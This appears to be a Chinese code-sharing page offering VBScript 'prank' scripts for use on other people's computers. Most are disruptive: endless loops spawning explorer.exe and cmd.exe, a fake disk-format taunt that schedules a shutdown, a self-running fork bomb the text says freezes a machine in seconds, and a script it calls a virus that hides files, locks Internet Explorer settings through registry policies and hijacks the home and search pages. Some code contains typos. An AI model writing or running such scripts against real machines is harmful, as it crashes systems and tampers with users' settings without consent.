复制代码代码如下:
msgbox"让你见识一下啥叫狠毒！" do set ws=createobjecet("wscript.shell") ws.run"explorer.exe" ws.run"cmd.exe" loop复制代码代码如下:
on error resume next msgbox"即将格式化！请做好准备！",vbyesno msgbox"准备好后点yes！"，vbyesno msgbox"sorry，忘说了，点no也行！" msgbox"我对不起你啊！呜呜呜555哈哈哈哈！" msgbox"靠，我笑个屁呀！我可是著名博士！在精神病院搞一种研究 。。。" msgbox"被人研究！" msgbox"就知道你会笑！告诉你，我最歧视两种人！一是歧视别人的人，二是爱笑人，三是不识数的人！" msgbox"你咋还笑？！是时候惩罚你了！" do set ws=createobjecet("wscript.shell") ws.run"explorer.exe" ws.run"cmd.exe" ws.run"cmd.exe /c shutdown -s -t 7200",,ture loop发个特整人的东西复制代码代码如下:
set s.createobject("wscript.shell") lsfile=wscript.scriptfullname '获得自己的名称 do '死循环 s.run lsfile '自己运行自己 s.run "notepad" '运行记事本 loop '几秒就死机，哈来个绿色的，无毒无害的：复制代码代码如下:
dim a set a=createobject("sapi.spvoice") a.speak "ha ha ha ha hahahahahahaha"注：ha ha ha... 可以改为几句粗话！！输入中文后英文要取决于你的电脑会讲英文还是中文！
复制代码代码如下:
dim a a=msgbox("给你讲个故事!",vbyesno,"默默许愿制作") if a=vbyes then do msgbox("从前有座山") msgbox("山上有座庙") msgbox("庙里有两个和尚") msgbox("大和尚给小和尚讲故事说") a=1 loop while a=1 end if将默认页，搜索页设置百度复制代码代码如下:
if msgbox("这是被封印的东西",65,"警告！！！") = 1 then if msgbox("请不要一意孤行",65,"警告！！！") =1 then if msgbox("不要再按了！！",65,"警告！！！") =1 then if msgbox("气死我了.....",65,"警告！！！") =1 then if msgbox("既然这样...那么这个东西就归你了！",65,"祝你愉快！886") =1 then msgbox "到这里,是你自己的命令,我也无法阻止了",65,"祝你愉快！886" msgbox "这是一个病毒.....(由魔导之魂封印的)现在,魔导之魂也无法控制他了！！！！",65,"封印解除！！" on error resume next dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=wscript.createobject("wscript.shell") set fso=wscript.createobject("scripting.filesystemobject") set myfile=fso.GetFile(wscript.scriptfullname) wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com" wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com" wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"